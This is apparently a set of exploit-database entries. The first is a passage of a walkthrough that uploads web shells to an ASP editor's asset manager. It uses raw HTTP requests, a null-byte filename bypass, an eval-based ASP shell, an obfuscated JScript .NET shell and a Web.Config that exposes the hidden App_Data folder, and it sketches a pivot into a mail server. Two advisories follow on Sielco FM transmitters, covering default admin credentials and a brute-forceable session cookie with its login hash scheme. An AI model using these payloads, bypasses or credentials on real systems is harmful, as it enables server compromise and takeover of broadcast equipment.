https://www.pentest.com/editor/assetmanager/assetmanager.asp<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpCurrFolder2"<br /><br />C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets<br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpFilter"<br /><br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="File1"; filename="shell.asp"<br />Content-Type: application/octet-stream<br /><br /><%eval request("#11")%><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS--<br /><br />==================================================================================================<br />" ...[ RESPONCE ]... "<br />" "<br />" ASP-ASPX-PHP-CER-OTHER FILE EXTENSIONS to types is not allowed. "<br />" "<br />==================================================================================================<br /><br /> ***<br /> <br />||================================================================================||<br />|| ((((2)))) ||<br />|| ||<br />|| ...:::Now we will manipulate the filename: ===>>> filename="shell.asp":::... ||<br />|| ||<br />||================================================================================||<br />##################################################################################################<br />" "<br />" FILE PERMISSIONS : [ 0644 ] "<br />" "<br />" DIR PERMISSIONS : [ 0755 ] "<br />" "<br />" UPLOAD FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] "<br />" "<br />##################################################################################################<br /><br />==================================================================================================<br /><br />POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2<br />Host: www.pentest.com<br />Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG<br />Content-Length: 473<br />Cache-Control: max-age=0<br />Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: https://www.pentest.com<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpCurrFolder2"<br /><br />C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets<br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpFilter"<br /><br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="File1"; filename="shell.asp%00asp.txt"<br />Content-Type: application/octet-stream<br /><br /><%eval request("#11")%><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS--<br /><br />==================================================================================================<br />" >>> filename="shell.asp%00asp.txt" <<< "<br />" "<br />" [ %00 ] ===> We select these values > Right Click > Convert Selecetion > URL > URL-decode "<br />" "<br />" or "<br />" "<br />" CTRL+Shift+U "<br />" "<br />" SEND! "<br />" "<br />==================================================================================================<br />" ...[ RESPONCE ]... "<br />" "<br />" OK! "<br />" "<br />" UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets\shell.asp ] "<br />" "<br />" SHELL PATH: https://www.pentest.com/editor/assets/shell.asp/aspx/php/cer/[Unrestricted] "<br />" " <br />==================================================================================================<br /><br /> ***<br /> <br />||==============================================================================||<br />|| ((((3)))) ||<br />|| ||<br />|| ...:::NO WRITE PERMISSION!:::... ||<br />|| ||<br />|| ...:::Directory Traversal:::... ||<br />|| ||<br />||==============================================================================||<br />##################################################################################################<br />" "<br />" FILE PERMISSIONS : [ 0600 ] "<br />" "<br />" DEFAULT DIR[\Editor\assets] PERMISSIONS : [ 0700 ] "<br />" "<br />" OTHER[App_Data] DIR PERMISSIONS : [ 0777 ] "<br />" "<br />" DEFAULT FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\Editor\assets ] "<br />" "<br />" App_Data FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data ] "<br />" "<br />" TEST WORK DIR : https://www.pentest.com/App_Data <<<= [ 404 ERROR - N/A ] "<br />" "<br />" "<br />##################################################################################################<br />##########################################################################################################################################################<br /># # <br /># What is the App_Data Folder useful? #<br /># App_Data contains application data files including .mdf database files, XML files, and other data store files. #<br /># The App_Data folder is used by ASP.NET to store an application's local database, such as the database for maintaining membership and role information. #<br /># The App_Data folder is not public like the other website directories under the Home Directory. #<br /># Because it's a private directory, the IIS server hides it for security reasons. #<br /># Now, we will test whether such a directory exists. #<br /># If the directory exists, we will make it public so that we can define the necessary server functions for running a shell within it. #<br /># For this we will try to load a special server configuration file. This is a Web.Config file. With this we'll ByPass the directory privacy. #<br /># So the directory will be public and it will be able to respond to external queries and run a shell. # <br /># # <br />##########################################################################################################################################################<br />==================================================================================================<br /><br />POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2<br />Host: www.pentest.com<br />Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG<br />Content-Length: 473<br />Cache-Control: max-age=0<br />Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: https://www.pentest.com<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpCurrFolder2"<br /><br />C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data<br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpFilter"<br /><br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="File1"; filename="Web.Config%00net.txt"<br />Content-Type: application/octet-stream<br /><br /><configuration><br /> <system.webServer><br /><defaultDocument><br /><files><br /><add value="*.asp" /><br /><add value="*.aspx" /><br /><add value="*.php" /><br /></files><br /></defaultDocument><br /><security><br /> <requestFiltering><br /> <hiddenSegments><br /> <clear /><br /> </hiddenSegments><br /> </requestFiltering><br /> </security><br /> </system.webServer><br /></configuration><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS--<br /><br />==================================================================================================<br />" ...[ RESPONCE ]... "<br />" "<br />" OK! "<br />" "<br />" UPLOADED FOLDER: [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\Web.Config ] "<br />" "<br />" TEST WORK for App_Data DIR : https://www.pentest.com/App_Data <<<= [ 403 ERROR - OK. ] "<br />" " <br />==================================================================================================<br /># Now we will upload your shell to the directory where we made ByPass. #<br />==================================================================================================<br />POST /editor/assetmanager/assetmanager.asp?ffilter=&upload=Y HTTP/2<br />Host: www.pentest.com<br />Cookie: ASPSESSIONIDAERARBRS=ENGPNMICKHLIBMPLFGAAHKAO; ASPSESSIONIDAQXADDBC=KNEFNGNCLJGEAJMBDLPEKOHD; ASPSESSIONIDAUTADDBC=LNEFNGNCNICEJMMILLBLEBJC; ASPSESSIONIDSWRCCBAC=AHEHHDOCIFOLGLNPFDOKLJOF; ASPSESSIONIDSERDABAB=NCHHDEOCFPENHJCJPKHKMONG<br />Content-Length: 473<br />Cache-Control: max-age=0<br />Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"<br />Sec-Ch-Ua-Mobile: ?0<br />Sec-Ch-Ua-Platform: "Windows"<br />Upgrade-Insecure-Requests: 1<br />Origin: https://www.pentest.com<br />Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-User: ?1<br />Sec-Fetch-Dest: document<br />Referer: https://www.pentest.com/editor/assetmanager/assetmanager.asp<br />Accept-Encoding: gzip, deflate<br />Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpCurrFolder2"<br /><br />C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data<br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="inpFilter"<br /><br /><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS<br />Content-Disposition: form-data; name="File1"; filename="shell.aspx%00aspx.txt"<br />Content-Type: application/octet-stream<br /><br /><%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %><br /><%var PAY:String=<br />Request["\x61\x62\x63\x64"];eval<br />(PAY,"\x75\x6E\x73\x61"+<br />"\x66\x65");%><br />------WebKitFormBoundaryFo1Ek0VVUzPm1AxS--<br /><br />======================================================================================================<br />" ...[ RESPONCE ]... "<br />" "<br />" OK! "<br />" "<br />" UPLOADED FOLDER : [ C:\Inetpub\vhosts\pentest.com\httpdocs\App_Data\shell.aspx ] "<br />" "<br />" TEST WORK for Shell : https://www.pentest.com/App_Data/shell.aspx <<<= [ OK. ] "<br />" " <br />==========================================================================================================================================<br />" "<br />" So what can we do if no directory on the site has write permission? "<br />" If not, we will test for vulnerabilities in the paths of other applications running on the server. "<br />" Sometimes this can be a mail service related vulnerability, "<br />" Sometimes also it can be a "Service Permissions" vulnerability. "<br />" Sometimes also it can be a "Binary Permissions " vulnerability. "<br />" Sometimes also it can be a "Weak Service Permissions" vulnerability. "<br />" Sometimes also it can be a "Unquoted Service Path" vulnerability. "<br />" Our limits are as much as our imagination... "<br />" *** 0DAY *** "<br />" Ok. Now we will strengthen our lesson by exemplifying a vulnerability in the SmarterMail service. " <br />" We saw that the SmarterMail service was installed on our IIS server and we detected a critical security vulnerability in this service. "<br />" TEST WORK for SmarterMail Service: [ http://mail.pentest.com/interface/root#/login ] "<br />" Data directory for this SmarterMail: [ C:\Program Files (x86)\SmarterTools\SmarterMail\MRS\App_Data ] "<br />" As shown above, we can first navigate to the App_Data directory belonging to the SmarterMail service, "<br />" And then upload our shell file to the server by bypassing it. "<br />" This way, we will have full control over both the server and the mail service. "<br />" Shell Path: [ http://mail.pentest.com/App_Data/shell.aspx ] "<br />" "<br />==========================================================================================================================================<br /></code></pre>
<pre><code><br />Sielco PolyEco Digital FM Transmitter 2.0.6 Default Credentials<br /><br /><br />Vendor: Sielco S.r.l<br />Product web page: https://www.sielco.org<br />Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19<br /> PolyEco1000 CPU:1.9.4 FPGA:10.19<br /> PolyEco1000 CPU:1.9.3 FPGA:10.19<br /> PolyEco500 CPU:1.7.0 FPGA:10.16<br /> PolyEco300 CPU:2.0.2 FPGA:10.19<br /> PolyEco300 CPU:2.0.0 FPGA:10.19<br /><br />Summary: PolyEco is the innovative family of high-end digital<br />FM transmitters of Sielco. They are especially suited as high<br />performance power system exciters or compact low-mid power<br />transmitters. The same cabinet may in fact be fitted with 50,<br />100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,<br />1000).<br /><br />All features can be controlled via the large touch-screen display<br />4.3" or remotely. Many advanced features are inside by default<br />in the basic version such as: stereo and RDS encoder, audio<br />change-over, remote-control via LAN and SNMP, "FFT" spectral<br />analysis of the audio sources, SFN synchronization and much more.<br /><br />Desc: The FM transmitter uses a weak set of default administrative<br />credentials that can be easily guessed in remote password attacks<br />and gain full control of the system.<br /><br />Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br />Macedonian Information Security Research and Development Laboratory<br />Zero Science Lab - https://www.zeroscience.mk - @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5764<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5764.php<br /><br /><br />26.01.2023<br /><br />--<br /><br /><br />User role:<br />----------<br />Username: user<br />Password: 1234<br /><br /><br />Admin role:<br />-----------<br />Username: admin<br />Password: sielco1<br /></code></pre>
<pre><code><br />Sielco PolyEco Digital FM Transmitter 2.0.6 'polyeco' Session Hijacking<br /><br /><br />Vendor: Sielco S.r.l<br />Product web page: https://www.sielco.org<br />Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19<br /> PolyEco1000 CPU:1.9.4 FPGA:10.19<br /> PolyEco1000 CPU:1.9.3 FPGA:10.19<br /> PolyEco500 CPU:1.7.0 FPGA:10.16<br /> PolyEco300 CPU:2.0.2 FPGA:10.19<br /> PolyEco300 CPU:2.0.0 FPGA:10.19<br /><br />Summary: PolyEco is the innovative family of high-end digital<br />FM transmitters of Sielco. They are especially suited as high<br />performance power system exciters or compact low-mid power<br />transmitters. The same cabinet may in fact be fitted with 50,<br />100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,<br />1000).<br /><br />All features can be controlled via the large touch-screen display<br />4.3" or remotely. Many advanced features are inside by default<br />in the basic version such as: stereo and RDS encoder, audio<br />change-over, remote-control via LAN and SNMP, "FFT" spectral<br />analysis of the audio sources, SFN synchronization and much more.<br /><br />Desc: The Cookie 'polyeco' is of an insufficient length and can be<br />exploited by brute force, which may allow a remote attacker to obtain<br />a valid session, bypass authentication and manipulate the transmitter.<br />The session is also visible in an HTTP GET request and there is the<br />lack of SSL in use, allowing MitM attacks.<br /><br />Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br />Macedonian Information Security Research and Development Laboratory<br />Zero Science Lab - https://www.zeroscience.mk - @zeroscience<br /><br /><br />Advisory ID: ZSL-2023-5763<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5763.php<br /><br /><br />26.01.2023<br /><br />--<br /><br /><br /># Session values (len=5)<br /><br />Cookie: polyeco=23770<br />Cookie: polyeco=12397<br />Cookie: polyeco=54689<br />...<br /><br /><br /># GET request for login (user:1234)<br /><br />http://RADIOFM/login.cgi?user=user&password=c494fe7ab21e23e456a89d5a09828a10&id=14810<br /><br />The hash = password + id = 123414810, md5(123414810) = c494fe7ab21e23e456a89d5a09828a10<br /><br />Once authenticated, Cookie: polyeco=14810<br /></code></pre>